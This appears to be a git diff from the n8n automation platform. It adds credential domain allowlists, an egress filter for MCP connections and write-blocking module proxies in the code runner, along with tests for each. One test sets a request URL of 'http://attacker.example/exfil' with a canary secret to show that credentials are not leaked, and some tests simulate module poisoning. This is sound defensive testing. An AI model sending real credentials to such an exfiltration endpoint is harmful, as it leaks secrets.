|||
/* eslint-disable n8n-nodes-base/node-filename-against-convention */
|
||||
import { HuggingFaceInference } from '@langchain/community/llms/hf';
|
||||
import { createMockExecuteFunction } from 'n8n-nodes-base/test/nodes/Helpers';
|
||||
import type { INode, ISupplyDataFunctions } from 'n8n-workflow';
|
||||
import type { Mocked } from 'vitest';
|
||||
|
||||
import { LmOpenHuggingFaceInference } from '../LMOpenHuggingFaceInference/LmOpenHuggingFaceInference.node';
|
||||
|
||||
vi.mock('@langchain/community/llms/hf');
|
||||
vi.mock('@n8n/ai-utilities');
|
||||
|
||||
describe('LmOpenHuggingFaceInference', () => {
|
||||
let node: LmOpenHuggingFaceInference;
|
||||
|
||||
const mockNode: INode = {
|
||||
id: '1',
|
||||
name: 'Hugging Face Inference Model',
|
||||
typeVersion: 1,
|
||||
type: 'n8n-nodes-langchain.lmOpenHuggingFaceInference',
|
||||
position: [0, 0],
|
||||
parameters: {},
|
||||
};
|
||||
|
||||
const setup = (credentials: Record<string, unknown>, options: Record<string, unknown>) => {
|
||||
const ctx = createMockExecuteFunction<ISupplyDataFunctions>(
|
||||
{},
|
||||
mockNode,
|
||||
) as Mocked<ISupplyDataFunctions>;
|
||||
ctx.getCredentials = vi.fn().mockResolvedValue(credentials);
|
||||
ctx.getNode = vi.fn().mockReturnValue(mockNode);
|
||||
ctx.getNodeParameter = vi.fn().mockImplementation((paramName: string) => {
|
||||
if (paramName === 'model') return 'mistralai/Mistral-Nemo-Base-2407';
|
||||
if (paramName === 'options') return options;
|
||||
return undefined;
|
||||
});
|
||||
return ctx;
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
node = new LmOpenHuggingFaceInference();
|
||||
vi.clearAllMocks();
|
||||
});
|
||||
|
||||
it('should reject a custom endpoint URL the credential domain restriction disallows', async () => {
|
||||
const ctx = setup(
|
||||
{
|
||||
apiKey: 'k',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'api-inference.huggingface.co',
|
||||
},
|
||||
{ endpointUrl: 'http://127.0.0.1:9099' },
|
||||
);
|
||||
|
||||
await expect(node.supplyData.call(ctx, 0)).rejects.toThrow('Domain not allowed');
|
||||
expect(HuggingFaceInference).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should allow a custom endpoint URL the credential domain restriction permits', async () => {
|
||||
const ctx = setup(
|
||||
{
|
||||
apiKey: 'k',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'my-endpoint.example.com',
|
||||
},
|
||||
{ endpointUrl: 'https://my-endpoint.example.com' },
|
||||
);
|
||||
|
||||
await node.supplyData.call(ctx, 0);
|
||||
expect(HuggingFaceInference).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
|
@ -311,10 +311,15 @@ describe('McpClientTool', () => {
|
|||
// Verify the eventSourceInit fetch injects auth headers and Accept header
|
||||
const customFetch = vi.mocked(SSEClientTransport).mock.calls[0][1]?.eventSourceInit?.fetch;
|
||||
await customFetch?.(url, {} as any);
|
||||
expect(mockedProxyFetch).toHaveBeenCalledWith(url, {
|
||||
headers: { Accept: 'text/event-stream', 'my-header': 'header-value' },
|
||||
redirect: 'manual',
|
||||
});
|
||||
expect(mockedProxyFetch).toHaveBeenCalledWith(
|
||||
url,
|
||||
{
|
||||
headers: { Accept: 'text/event-stream', 'my-header': 'header-value' },
|
||||
redirect: 'manual',
|
||||
},
|
||||
undefined,
|
||||
undefined,
|
||||
);
|
||||
});
|
||||
|
||||
it('should support bearer auth', async () => {
|
||||
|
|
@ -363,10 +368,15 @@ describe('McpClientTool', () => {
|
|||
// Verify the eventSourceInit fetch injects auth headers and Accept header
|
||||
const customFetch = vi.mocked(SSEClientTransport).mock.calls[0][1]?.eventSourceInit?.fetch;
|
||||
await customFetch?.(url, {} as any);
|
||||
expect(mockedProxyFetch).toHaveBeenCalledWith(url, {
|
||||
headers: { Accept: 'text/event-stream', Authorization: 'Bearer my-token' },
|
||||
redirect: 'manual',
|
||||
});
|
||||
expect(mockedProxyFetch).toHaveBeenCalledWith(
|
||||
url,
|
||||
{
|
||||
headers: { Accept: 'text/event-stream', Authorization: 'Bearer my-token' },
|
||||
redirect: 'manual',
|
||||
},
|
||||
undefined,
|
||||
undefined,
|
||||
);
|
||||
});
|
||||
|
||||
it('should successfully execute a tool', async () => {
|
||||
|
|
|
|||
|
|
@ -2,7 +2,8 @@ import { Client } from '@modelcontextprotocol/sdk/client/index.js';
|
|||
import { SSEClientTransport } from '@modelcontextprotocol/sdk/client/sse.js';
|
||||
import { StreamableHTTPClientTransport } from '@modelcontextprotocol/sdk/client/streamableHttp.js';
|
||||
import { proxyFetch } from '@n8n/ai-utilities';
|
||||
import type { IExecuteFunctions, INode } from 'n8n-workflow';
|
||||
import { createResultError, createResultOk } from '@n8n/utils/result';
|
||||
import type { IExecuteFunctions, INode, NodeEgressFilter } from 'n8n-workflow';
|
||||
import type { Mock, MockedClass, MockedFunction } from 'vitest';
|
||||
import { mockDeep } from 'vitest-mock-extended';
|
||||
import { expect } from 'vitest';
|
||||
|
|
@ -10,6 +11,7 @@ import { expect } from 'vitest';
|
|||
import type { McpAuthenticationOption } from '../types';
|
||||
import {
|
||||
connectMcpClient,
|
||||
connectMcpClientForCredential,
|
||||
getAuthHeaders,
|
||||
mapToNodeOperationError,
|
||||
tryRefreshOAuth2Token,
|
||||
|
|
@ -675,6 +677,69 @@ describe('utils', () => {
|
|||
expect(result.ok).toBe(true);
|
||||
expect(mockedProxyFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it('should block requests to a target rejected by the instance egress filter', async () => {
|
||||
mockClient.connect.mockResolvedValue(undefined);
|
||||
mockedProxyFetch.mockResolvedValue(new Response('ok', { status: 200 }));
|
||||
|
||||
const secureLookup = vi.fn();
|
||||
const egressFilter: NodeEgressFilter = {
|
||||
validateUrl: vi.fn().mockResolvedValue(createResultError(new Error('Egress blocked'))),
|
||||
createSecureLookup: vi.fn().mockReturnValue(secureLookup),
|
||||
};
|
||||
|
||||
const ctx = mockDeep<IExecuteFunctions>();
|
||||
ctx.getNode.mockReturnValue({ type: 'test-client', typeVersion: 1 } as unknown as INode);
|
||||
ctx.helpers.getSecureEgressFilter.mockReturnValue(egressFilter);
|
||||
|
||||
const result = await connectMcpClientForCredential(ctx, {
|
||||
authentication: 'none',
|
||||
serverTransport: transport,
|
||||
endpointUrl: 'https://blocked.example.com/',
|
||||
surface: 'MCP Client Tool',
|
||||
});
|
||||
|
||||
expect(result.ok).toBe(true);
|
||||
|
||||
const [, opts] = (TransportClass as Mock).mock.calls[0];
|
||||
|
||||
// The egress filter must reject the target before any request is sent.
|
||||
await expect(opts.fetch('https://blocked.example.com/', {})).rejects.toThrow(
|
||||
'Egress blocked',
|
||||
);
|
||||
expect(egressFilter.validateUrl).toHaveBeenCalledWith('https://blocked.example.com/');
|
||||
expect(mockedProxyFetch).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should allow requests to a target accepted by the instance egress filter', async () => {
|
||||
mockClient.connect.mockResolvedValue(undefined);
|
||||
mockedProxyFetch.mockResolvedValue(new Response('ok', { status: 200 }));
|
||||
|
||||
const secureLookup = vi.fn();
|
||||
const egressFilter: NodeEgressFilter = {
|
||||
validateUrl: vi.fn().mockResolvedValue(createResultOk(undefined)),
|
||||
createSecureLookup: vi.fn().mockReturnValue(secureLookup),
|
||||
};
|
||||
|
||||
const ctx = mockDeep<IExecuteFunctions>();
|
||||
ctx.getNode.mockReturnValue({ type: 'test-client', typeVersion: 1 } as unknown as INode);
|
||||
ctx.helpers.getSecureEgressFilter.mockReturnValue(egressFilter);
|
||||
|
||||
const result = await connectMcpClientForCredential(ctx, {
|
||||
authentication: 'none',
|
||||
serverTransport: transport,
|
||||
endpointUrl: 'https://mcp.example.com/',
|
||||
surface: 'MCP Client Tool',
|
||||
});
|
||||
|
||||
expect(result.ok).toBe(true);
|
||||
|
||||
const [, opts] = (TransportClass as Mock).mock.calls[0];
|
||||
await opts.fetch('https://mcp.example.com/', {});
|
||||
|
||||
expect(egressFilter.validateUrl).toHaveBeenCalledWith('https://mcp.example.com/');
|
||||
expect(mockedProxyFetch).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
|
|
|
|||
|
|
@ -10,6 +10,7 @@ import type {
|
|||
ILoadOptionsFunctions,
|
||||
INode,
|
||||
ISupplyDataFunctions,
|
||||
NodeEgressFilter,
|
||||
} from 'n8n-workflow';
|
||||
import { assertCredentialAllowsUrl, assertUrlAllowed, NodeOperationError } from 'n8n-workflow';
|
||||
|
||||
|
|
@ -137,6 +138,7 @@ export async function connectMcpClient({
|
|||
onUnauthorized,
|
||||
signal,
|
||||
allowedDomains,
|
||||
secureEgressFilter,
|
||||
}: {
|
||||
serverTransport: McpServerTransport;
|
||||
endpointUrl: string;
|
||||
|
|
@ -150,6 +152,12 @@ export async function connectMcpClient({
|
|||
* (including redirect hops) is validated against it via `assertUrlAllowed`.
|
||||
*/
|
||||
allowedDomains?: string;
|
||||
/**
|
||||
* Instance egress filter. When set, every request (including redirect hops)
|
||||
* is validated against the configured egress policy, and the connection is
|
||||
* pinned to the validated address.
|
||||
*/
|
||||
secureEgressFilter?: NodeEgressFilter;
|
||||
}): Promise<Result<Client, ConnectMcpClientError>> {
|
||||
const endpoint = normalizeAndValidateUrl(endpointUrl);
|
||||
|
||||
|
|
@ -157,7 +165,7 @@ export async function connectMcpClient({
|
|||
return createResultError({ type: 'invalid_url', error: endpoint.error });
|
||||
}
|
||||
|
||||
const authFetch = createAuthFetch(headers, onUnauthorized, allowedDomains);
|
||||
const authFetch = createAuthFetch(headers, onUnauthorized, allowedDomains, secureEgressFilter);
|
||||
const client = new Client({ name, version: version.toString() }, { capabilities: {} });
|
||||
|
||||
let onAbort: (() => void) | undefined;
|
||||
|
|
@ -276,23 +284,30 @@ function headersToRecord(headers: HeadersInit | undefined): Record<string, strin
|
|||
* - injects auth headers into every request,
|
||||
* - retries once on 401 after refreshing the token via onUnauthorized,
|
||||
* - validates the initial URL and every redirect hop against `allowedDomains`
|
||||
* so credentials are never sent to a host the credential doesn't allow.
|
||||
* so credentials are never sent to a host the credential doesn't allow,
|
||||
* - validates the initial URL and every redirect hop against the instance
|
||||
* `secureEgressFilter`, and pins the connection to the validated address.
|
||||
*/
|
||||
function createAuthFetch(
|
||||
initialHeaders: Record<string, string> | undefined,
|
||||
onUnauthorized?: OnUnauthorizedHandler,
|
||||
allowedDomains?: string,
|
||||
secureEgressFilter?: NodeEgressFilter,
|
||||
): typeof fetch {
|
||||
let headers = initialHeaders;
|
||||
|
||||
const secureLookup = secureEgressFilter?.createSecureLookup();
|
||||
|
||||
const doFetch = async (input: RequestInfo | URL, init?: RequestInit): Promise<Response> =>
|
||||
await proxyFetch(
|
||||
input,
|
||||
{ ...init, headers: { ...headersToRecord(init?.headers), ...headers } },
|
||||
undefined,
|
||||
secureLookup,
|
||||
);
|
||||
|
||||
const authedFetch = async (input: RequestInfo | URL, init?: RequestInit): Promise<Response> => {
|
||||
const response = await proxyFetch(input, {
|
||||
...init,
|
||||
headers: {
|
||||
...headersToRecord(init?.headers),
|
||||
...headers,
|
||||
},
|
||||
});
|
||||
const response = await doFetch(input, init);
|
||||
|
||||
if (response.status !== 401 || !onUnauthorized) {
|
||||
return response;
|
||||
|
|
@ -304,13 +319,7 @@ function createAuthFetch(
|
|||
}
|
||||
|
||||
headers = refreshedHeaders;
|
||||
return await proxyFetch(input, {
|
||||
...init,
|
||||
headers: {
|
||||
...headersToRecord(init?.headers),
|
||||
...headers,
|
||||
},
|
||||
});
|
||||
return await doFetch(input, init);
|
||||
};
|
||||
|
||||
return async (input: RequestInfo | URL, init?: RequestInit): Promise<Response> => {
|
||||
|
|
@ -318,7 +327,13 @@ function createAuthFetch(
|
|||
// unwrapped to their URL so the redirect loop can carry a stable input.
|
||||
const startUrl = input instanceof Request ? input.url : input;
|
||||
return await fetchFollowingRedirects(authedFetch, startUrl, init, {
|
||||
onBeforeHop: (hopUrl) => assertUrlAllowed({ url: hopUrl, allowedDomains }),
|
||||
onBeforeHop: async (hopUrl) => {
|
||||
assertUrlAllowed({ url: hopUrl, allowedDomains });
|
||||
if (secureEgressFilter) {
|
||||
const result = await secureEgressFilter.validateUrl(hopUrl);
|
||||
if (!result.ok) throw result.error;
|
||||
}
|
||||
},
|
||||
});
|
||||
};
|
||||
}
|
||||
|
|
@ -473,6 +488,7 @@ export async function connectMcpClientForCredential(
|
|||
endpointUrl: config.endpointUrl,
|
||||
headers,
|
||||
allowedDomains,
|
||||
secureEgressFilter: ctx.helpers.getSecureEgressFilter?.(),
|
||||
name: node.type,
|
||||
version: node.typeVersion,
|
||||
onUnauthorized: async (h) => await tryRefreshOAuth2Token(ctx, config.authentication, h),
|
||||
|
|
|
|||
|
|
@ -238,6 +238,81 @@ describe('ToolHttpRequest', () => {
|
|||
);
|
||||
});
|
||||
|
||||
it('should not send generic credentials to a domain the credential restricts', async () => {
|
||||
executeFunctions.getNodeParameter.mockImplementation((paramName: string) => {
|
||||
switch (paramName) {
|
||||
case 'method':
|
||||
return 'GET';
|
||||
case 'url':
|
||||
return 'http://attacker.example/exfil';
|
||||
case 'authentication':
|
||||
return 'genericCredentialType';
|
||||
case 'genericAuthType':
|
||||
return 'httpHeaderAuth';
|
||||
case 'options':
|
||||
return {};
|
||||
case 'placeholderDefinitions.values':
|
||||
return [];
|
||||
default:
|
||||
return undefined;
|
||||
}
|
||||
});
|
||||
|
||||
executeFunctions.getCredentials.mockResolvedValue({
|
||||
name: 'X-Secret-Token',
|
||||
value: 'SECRET-TOOLHTTP-CANARY',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'api.example.com',
|
||||
});
|
||||
|
||||
const { response } = await httpTool.supplyData.call(executeFunctions, 0);
|
||||
const res = await (response as N8nTool).invoke({});
|
||||
|
||||
expect(helpers.httpRequest).not.toHaveBeenCalled();
|
||||
expect(res).toContain('Domain not allowed');
|
||||
});
|
||||
|
||||
it('should send generic credentials to a domain the credential allows', async () => {
|
||||
helpers.httpRequest.mockResolvedValue({
|
||||
body: 'Hello World',
|
||||
headers: { 'content-type': 'text/plain' },
|
||||
});
|
||||
|
||||
executeFunctions.getNodeParameter.mockImplementation((paramName: string) => {
|
||||
switch (paramName) {
|
||||
case 'method':
|
||||
return 'GET';
|
||||
case 'url':
|
||||
return 'https://api.example.com/data';
|
||||
case 'authentication':
|
||||
return 'genericCredentialType';
|
||||
case 'genericAuthType':
|
||||
return 'httpHeaderAuth';
|
||||
case 'options':
|
||||
return {};
|
||||
case 'placeholderDefinitions.values':
|
||||
return [];
|
||||
default:
|
||||
return undefined;
|
||||
}
|
||||
});
|
||||
|
||||
executeFunctions.getCredentials.mockResolvedValue({
|
||||
name: 'X-Secret-Token',
|
||||
value: 'SECRET-TOOLHTTP-CANARY',
|
||||
allowedHttpRequestDomains: 'domains',
|
||||
allowedDomains: 'api.example.com',
|
||||
});
|
||||
|
||||
const { response } = await httpTool.supplyData.call(executeFunctions, 0);
|
||||
const res = await (response as N8nTool).invoke({});
|
||||
|
||||
expect(helpers.httpRequest).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ allowedDomains: 'api.example.com' }),
|
||||
);
|
||||
expect(res).toEqual('Hello World');
|
||||
});
|
||||
|
||||
it('should return the error when receiving text that contains a null character', async () => {
|
||||
helpers.httpRequest.mockResolvedValue({
|
||||
body: 'Hello\0World',
|
||||
|
|
|
|||
|
|
@ -13,8 +13,14 @@ import type {
|
|||
ExecutionError,
|
||||
NodeApiError,
|
||||
ISupplyDataFunctions,
|
||||
ICredentialDataDecryptedObject,
|
||||
} from 'n8n-workflow';
|
||||
import {
|
||||
assertCredentialAllowsUrl,
|
||||
NodeConnectionTypes,
|
||||
NodeOperationError,
|
||||
jsonParse,
|
||||
} from 'n8n-workflow';
|
||||
import { NodeConnectionTypes, NodeOperationError, jsonParse } from 'n8n-workflow';
|
||||
import { z } from 'zod';
|
||||
|
||||
import type {
|
||||
|
|
@ -27,6 +33,24 @@ import type {
|
|||
} from './interfaces';
|
||||
import type { DynamicZodObject } from '../../../types/zod.types';
|
||||
|
||||
// Enforce the credential's "Allowed HTTP Request Domains" restriction against the
|
||||
// request URL before the secret is attached, so a tool-controlled URL can't leak it.
|
||||
// The resulting allowlist is forwarded onto the options so the HTTP layer re-checks
|
||||
// every redirect hop too, not just the initial URL.
|
||||
const assertCredentialUrlAllowed = (
|
||||
ctx: ISupplyDataFunctions,
|
||||
credentials: ICredentialDataDecryptedObject | undefined,
|
||||
options: IHttpRequestOptions,
|
||||
) => {
|
||||
if (!credentials) return;
|
||||
const allowedDomains = assertCredentialAllowsUrl({
|
||||
node: ctx.getNode(),
|
||||
credentialData: credentials,
|
||||
url: options.url,
|
||||
});
|
||||
if (allowedDomains) options.allowedDomains = allowedDomains;
|
||||
};
|
||||
|
||||
const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: number) => {
|
||||
const genericType = ctx.getNodeParameter('genericAuthType', itemIndex) as string;
|
||||
|
||||
|
|
@ -35,6 +59,7 @@ const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: nu
|
|||
const sendImmediately = genericType === 'httpDigestAuth' ? false : undefined;
|
||||
|
||||
return async (options: IHttpRequestOptions) => {
|
||||
assertCredentialUrlAllowed(ctx, basicAuth, options);
|
||||
options.auth = {
|
||||
username: basicAuth.user as string,
|
||||
password: basicAuth.password as string,
|
||||
|
|
@ -48,6 +73,7 @@ const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: nu
|
|||
const headerAuth = await ctx.getCredentials('httpHeaderAuth', itemIndex);
|
||||
|
||||
return async (options: IHttpRequestOptions) => {
|
||||
assertCredentialUrlAllowed(ctx, headerAuth, options);
|
||||
if (!options.headers) options.headers = {};
|
||||
options.headers[headerAuth.name as string] = headerAuth.value;
|
||||
return await ctx.helpers.httpRequest(options);
|
||||
|
|
@ -58,6 +84,7 @@ const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: nu
|
|||
const queryAuth = await ctx.getCredentials('httpQueryAuth', itemIndex);
|
||||
|
||||
return async (options: IHttpRequestOptions) => {
|
||||
assertCredentialUrlAllowed(ctx, queryAuth, options);
|
||||
if (!options.qs) options.qs = {};
|
||||
options.qs[queryAuth.name as string] = queryAuth.value;
|
||||
return await ctx.helpers.httpRequest(options);
|
||||
|
|
@ -68,6 +95,7 @@ const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: nu
|
|||
const customAuth = await ctx.getCredentials('httpCustomAuth', itemIndex);
|
||||
|
||||
return async (options: IHttpRequestOptions) => {
|
||||
assertCredentialUrlAllowed(ctx, customAuth, options);
|
||||
const auth = jsonParse<IRequestOptionsSimplified>((customAuth.json as string) || '{}', {
|
||||
errorMessage: 'Invalid Custom Auth JSON',
|
||||
});
|
||||
|
|
@ -85,13 +113,17 @@ const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: nu
|
|||
}
|
||||
|
||||
if (genericType === 'oAuth1Api') {
|
||||
const oAuth1 = await ctx.getCredentials('oAuth1Api', itemIndex);
|
||||
return async (options: IHttpRequestOptions) => {
|
||||
assertCredentialUrlAllowed(ctx, oAuth1, options);
|
||||
return await ctx.helpers.requestOAuth1.call(ctx, 'oAuth1Api', options);
|
||||
};
|
||||
}
|
||||
|
||||
if (genericType === 'oAuth2Api') {
|
||||
const oAuth2 = await ctx.getCredentials('oAuth2Api', itemIndex);
|
||||
return async (options: IHttpRequestOptions) => {
|
||||
assertCredentialUrlAllowed(ctx, oAuth2, options);
|
||||
return await ctx.helpers.requestOAuth2.call(ctx, 'oAuth2Api', options, {
|
||||
tokenType: 'Bearer',
|
||||
});
|
||||
|
|
@ -106,8 +138,10 @@ const genericCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: nu
|
|||
const predefinedCredentialRequest = async (ctx: ISupplyDataFunctions, itemIndex: number) => {
|
||||
const predefinedType = ctx.getNodeParameter('nodeCredentialType', itemIndex) as string;
|
||||
const additionalOptions = getOAuth2AdditionalParameters(predefinedType);
|
||||
const credentials = await ctx.getCredentials(predefinedType, itemIndex);
|
||||
|
||||
return async (options: IHttpRequestOptions) => {
|
||||
assertCredentialUrlAllowed(ctx, credentials, options);
|
||||
return await ctx.helpers.httpRequestWithAuthentication.call(
|
||||
ctx,
|
||||
predefinedType,
|
||||
|
|
|
|||
|
|
@ -1,6 +1,12 @@
|
|||
import type * as nodeCrypto from 'node:crypto';
|
||||
|
||||
import { ExecutionError } from '@/js-task-runner/errors/execution-error';
|
||||
|
||||
import { createRequireResolver, type RequireResolverOpts } from '../require-resolver';
|
||||
import {
|
||||
createRequireResolver,
|
||||
secureModuleExport,
|
||||
type RequireResolverOpts,
|
||||
} from '../require-resolver';
|
||||
|
||||
describe('require resolver', () => {
|
||||
let defaultOpts: RequireResolverOpts;
|
||||
|
|
@ -59,6 +65,194 @@ describe('require resolver', () => {
|
|||
});
|
||||
});
|
||||
|
||||
describe('module securing', () => {
|
||||
it('should not let one resolution mutate the shared module for another', () => {
|
||||
const resolver = createRequireResolver({ ...defaultOpts, secureModules: true });
|
||||
|
||||
const first = resolver('path') as { normalize: unknown };
|
||||
const original = first.normalize;
|
||||
// Own-property reassignment on the shared cached module must not stick.
|
||||
expect(() => {
|
||||
'use strict';
|
||||
first.normalize = () => 'poisoned';
|
||||
}).toThrow();
|
||||
|
||||
const second = resolver('path') as { normalize: unknown };
|
||||
expect(second.normalize).toBe(original);
|
||||
expect((second.normalize as (p: string) => string)('a//b')).toBe('a/b');
|
||||
});
|
||||
|
||||
it('should return the same view for repeated resolutions (stable identity)', () => {
|
||||
const resolver = createRequireResolver({ ...defaultOpts, secureModules: true });
|
||||
|
||||
expect(resolver('path')).toBe(resolver('path'));
|
||||
});
|
||||
|
||||
it('should not secure modules by default', () => {
|
||||
const resolver = createRequireResolver(defaultOpts);
|
||||
const fs = resolver('fs') as Record<string, unknown>;
|
||||
|
||||
const marker = () => 'noop';
|
||||
fs.__probe = marker;
|
||||
expect(fs.__probe).toBe(marker);
|
||||
delete fs.__probe;
|
||||
});
|
||||
});
|
||||
|
||||
describe('secureModuleExport', () => {
|
||||
it('should not throw when securing a non-freezable Buffer/TypedArray export', () => {
|
||||
// Object.freeze throws on these ("Cannot freeze array buffer views with elements").
|
||||
const buf = Buffer.from([1, 2, 3]);
|
||||
const view = secureModuleExport(buf) as Buffer;
|
||||
|
||||
expect(view[0]).toBe(1); // reads pass through
|
||||
expect(() => {
|
||||
'use strict';
|
||||
view[0] = 9;
|
||||
}).toThrow(); // writes are blocked
|
||||
expect(buf[0]).toBe(1); // underlying buffer untouched
|
||||
});
|
||||
|
||||
it('should block assignment through accessor setters', () => {
|
||||
let sideEffect = 0;
|
||||
const mod = {};
|
||||
Object.defineProperty(mod, 'danger', {
|
||||
get: () => sideEffect,
|
||||
set: (v: number) => {
|
||||
sideEffect = v;
|
||||
},
|
||||
configurable: true,
|
||||
});
|
||||
|
||||
const secured = secureModuleExport(mod) as { danger: number };
|
||||
// Strict-mode module code: the blocked write throws instead of the setter running.
|
||||
expect(() => {
|
||||
secured.danger = 99;
|
||||
}).toThrow();
|
||||
|
||||
expect(sideEffect).toBe(0); // the real setter never ran
|
||||
});
|
||||
|
||||
it('should block adding, redefining, deleting properties and swapping the prototype', () => {
|
||||
const mod: Record<string, unknown> = { existing: 1 };
|
||||
const secured = secureModuleExport(mod) as Record<string, unknown>;
|
||||
|
||||
expect(() => Object.defineProperty(secured, 'added', { value: 1 })).toThrow();
|
||||
expect(Reflect.deleteProperty(secured, 'existing')).toBe(false);
|
||||
expect(Reflect.setPrototypeOf(secured, {})).toBe(false);
|
||||
expect(mod.existing).toBe(1);
|
||||
});
|
||||
|
||||
it('should keep a real module callable and usable through the view', () => {
|
||||
const resolver = createRequireResolver({
|
||||
allowedBuiltInModules: new Set(['crypto']),
|
||||
allowedExternalModules: new Set(),
|
||||
secureModules: true,
|
||||
});
|
||||
const crypto = resolver('crypto') as typeof nodeCrypto;
|
||||
|
||||
expect(crypto.randomBytes(8)).toHaveLength(8);
|
||||
expect(crypto.createHash('sha256').update('x').digest('hex')).toHaveLength(64);
|
||||
|
||||
// poisoning attempts must not stick
|
||||
expect(() => {
|
||||
(crypto as { randomBytes: unknown }).randomBytes = () => Buffer.from('PWNED');
|
||||
}).toThrow();
|
||||
expect(crypto.randomBytes(8)).toHaveLength(8);
|
||||
});
|
||||
});
|
||||
|
||||
describe('secureModuleExport (nested membrane)', () => {
|
||||
it('should wrap nested objects and block writes to them', () => {
|
||||
const shared = { count: 0 };
|
||||
const secured = secureModuleExport({ nested: shared }) as { nested: { count: number } };
|
||||
|
||||
expect(() => {
|
||||
secured.nested.count = 5;
|
||||
}).toThrow();
|
||||
expect(shared.count).toBe(0); // shared nested state untouched
|
||||
});
|
||||
|
||||
it('should return a stable wrapped view for the same nested object', () => {
|
||||
const secured = secureModuleExport({ nested: {} }) as { nested: object };
|
||||
|
||||
expect(secured.nested).toBe(secured.nested);
|
||||
});
|
||||
|
||||
it('should freeze (not wrap) non-configurable non-writable data properties', () => {
|
||||
const mod = {};
|
||||
Object.defineProperty(mod, 'FIXED', {
|
||||
value: { a: 1 },
|
||||
writable: false,
|
||||
configurable: false,
|
||||
});
|
||||
const secured = secureModuleExport(mod) as { FIXED: { a: number } };
|
||||
|
||||
// Proxy invariant forbids wrapping, so it's returned raw — but frozen,
|
||||
// so it still can't be mutated for other tasks.
|
||||
expect(secured.FIXED.a).toBe(1);
|
||||
expect(Object.isFrozen(secured.FIXED)).toBe(true);
|
||||
expect(() => {
|
||||
(secured.FIXED as Record<string, unknown>).evil = 1;
|
||||
}).toThrow();
|
||||
});
|
||||
|
||||
it('should wrap values reached through descriptor reflection', () => {
|
||||
const shared = { count: 0 };
|
||||
const secured = secureModuleExport({ nested: shared });
|
||||
|
||||
const descriptor = Object.getOwnPropertyDescriptor(secured, 'nested');
|
||||
const reflected = descriptor?.value as { count: number };
|
||||
expect(() => {
|
||||
reflected.count = 5;
|
||||
}).toThrow();
|
||||
expect(shared.count).toBe(0); // reflection can't bypass the membrane
|
||||
});
|
||||
|
||||
it('should construct classes exposed by a module', () => {
|
||||
const secured = secureModuleExport({
|
||||
widget: class {
|
||||
constructor(public v: number) {}
|
||||
},
|
||||
}) as { widget: new (v: number) => { v: number } };
|
||||
|
||||
expect(new secured.widget(7).v).toBe(7);
|
||||
});
|
||||
|
||||
it('should preserve new.target when subclassing a module constructor', () => {
|
||||
const secured = secureModuleExport({
|
||||
base: class {
|
||||
kind: string;
|
||||
constructor() {
|
||||
this.kind = new.target.name;
|
||||
}
|
||||
},
|
||||
}) as { base: new () => { kind: string } };
|
||||
class Derived extends secured.base {}
|
||||
|
||||
expect(new Derived().kind).toBe('Derived');
|
||||
});
|
||||
|
||||
it('should keep nested real-module state readable but not mutable', () => {
|
||||
const resolver = createRequireResolver({
|
||||
allowedBuiltInModules: new Set(['crypto']),
|
||||
allowedExternalModules: new Set(),
|
||||
secureModules: true,
|
||||
});
|
||||
const crypto = resolver('crypto') as typeof nodeCrypto;
|
||||
|
||||
// nested reads and receiver-sensitive method calls still work
|
||||
expect(typeof crypto.constants.RSA_PKCS1_PADDING).toBe('number');
|
||||
expect(crypto.webcrypto.getRandomValues(new Uint8Array(4))).toHaveLength(4);
|
||||
|
||||
// nested writes are blocked
|
||||
expect(() => {
|
||||
(crypto.webcrypto as { getRandomValues: unknown }).getRandomValues = () => null;
|
||||
}).toThrow();
|
||||
expect(crypto.webcrypto.getRandomValues(new Uint8Array(2))).toHaveLength(2);
|
||||
});
|
||||
});
|
||||
|
||||
describe('error handling', () => {
|
||||
it('should wrap DisallowedModuleError in ExecutionError', () => {
|
||||
const resolver = createRequireResolver(defaultOpts);
|
||||
|
|
|
|||
|
|
@ -157,6 +157,7 @@ export class JsTaskRunner extends TaskRunner {
|
|||
this.requireResolver = createRequireResolver({
|
||||
allowedBuiltInModules,
|
||||
allowedExternalModules,
|
||||
secureModules: this.mode === 'secure',
|
||||
});
|
||||
|
||||
if (this.mode === 'secure') this.preventPrototypePollution(allowedExternalModules);
|
||||
|
|
|
|||
|
|
@ -15,13 +15,105 @@ export type RequireResolverOpts = {
|
|||
* execution sandbox. `"*"` means all are allowed.
|
||||
*/
|
||||
allowedExternalModules: Set<string> | '*';
|
||||
|
||||
/**
|
||||
* When true, return a write-blocking view of each resolved module. The
|
||||
* module cache is shared across every task in the runner process, so an
|
||||
* unprotected module object lets one task's changes leak into other tasks.
|
||||
*/
|
||||
secureModules?: boolean;
|
||||
};
|
||||
|
||||
export type RequireResolver = (request: string) => unknown;
|
||||
|
||||
type Constructor = new (...args: unknown[]) => object;
|
||||
|
||||
const isWrappable = (value: unknown): value is object =>
|
||||
value !== null && (typeof value === 'object' || typeof value === 'function');
|
||||
|
||||
// Views (write-blocking proxies) keyed by their real target, plus the reverse
|
||||
// lookup used to unwrap `this`/arguments back to the real object before a
|
||||
// wrapped function runs. One view per target keeps identity stable across reads.
|
||||
const viewByTarget = new WeakMap<object, unknown>();
|
||||
const targetByView = new WeakMap<object, object>();
|
||||
|
||||
const unwrap = (value: unknown): unknown =>
|
||||
isWrappable(value) ? (targetByView.get(value) ?? value) : value;
|
||||
|
||||
// A non-configurable, non-writable data property: a Proxy must hand back its
|
||||
// exact value (invariant), so it can't be wrapped.
|
||||
const isFixedData = (descriptor: PropertyDescriptor | undefined): boolean =>
|
||||
!!descriptor && 'value' in descriptor && !descriptor.configurable && !descriptor.writable;
|
||||
|
||||
